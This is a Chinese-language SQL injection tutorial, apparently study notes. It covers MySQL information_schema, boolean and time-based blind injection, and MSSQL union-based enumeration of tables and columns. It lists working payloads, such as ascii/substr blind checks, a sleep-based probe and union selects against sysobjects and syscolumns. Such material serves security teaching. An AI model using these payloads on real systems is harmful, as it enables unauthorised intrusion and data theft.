## SQL注入中information_schema的作用
-
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表
-
TABLES表:
提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。获取当前数据库中所有的表 -
COLUMNS表:
提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。 -
mysql.user数据
盲注
盲注,意味着页面不会显示SQL语句的错误,我们要通过一定的手段来判断构造的注入语句是否正确执行。有两种方式:布尔型和时间型。布尔型是根据页面是否正确显示来判断我们构造的语句是否正确执行,时间型则是根据页面加载时间是否变化来判断的。
预备知识
相关函数
- length(str):返回str字符串的长度。
- substr(str, pos, len):从pos位置取出str字符串的len个字符
- ASCII(str):返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL。
将上面几个函数组合一下就有布尔值出现。如Select ascii(substr(database(),2,1)) = 101;当database()即当前数据库的名称中,正数第二个字符为e,则会返回1,当为其他字符时会返回0。逐级替换2为其他数字,就可以逐字猜数据库名称了。其中的=号还可以换成<或者>
- if ((exp1, exp2, exp3):为条件判断语句。当exp1的值为true时候,返回exp2,否则返回exp3。
常用payload
1' AND (ascii(substr((select database()) ,1,1)) = 115)--+
1' AND (ascii(substr((select database()) ,1,1)) = 115)--+
1" and if ((ascii(substr((select table_name from information_schema.TABLES where table_schema=database() limit 0,1) ,1,1))=101) , sleep(3), null) --+
Mssql注入
预备知识
-
SQL Server数据库的一切信息都保存在它的系统表格里,每个数据库内都有系统表sysobjects,它存放该数据库内创建的所有对象,如数据库,表,约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。
更多信息参阅:
http://blog.csdn.net/xabc3000/article/details/7615378
http://www.cnblogs.com/atree/p/SQL-Server-sysobjects.html -
sysobjects结构
-
syscloumn
注入过程
爆表:
id=-1 union select top 1 1,2,name,4,5 from sysobjects where xtype = 'u';
-1 union select top 1 1,2,name,4,5 from sysobjects where xtype = 'u'and
name not in (select top 1 name from sysobjects where xtype = 'u');
爆字段:
id=-1 union select top 1 1,2,name,4,5 from syscolumns where
id =(select id from sysobjects where name = 'user');
id=-1 union select top 1 1,2c,name,4,5 from syscolumns
where id =(select id from sysobjects where name = 'user')
and name not in(select top 1 name from syscolumns
where id =(select id from sysobjects where name='user'));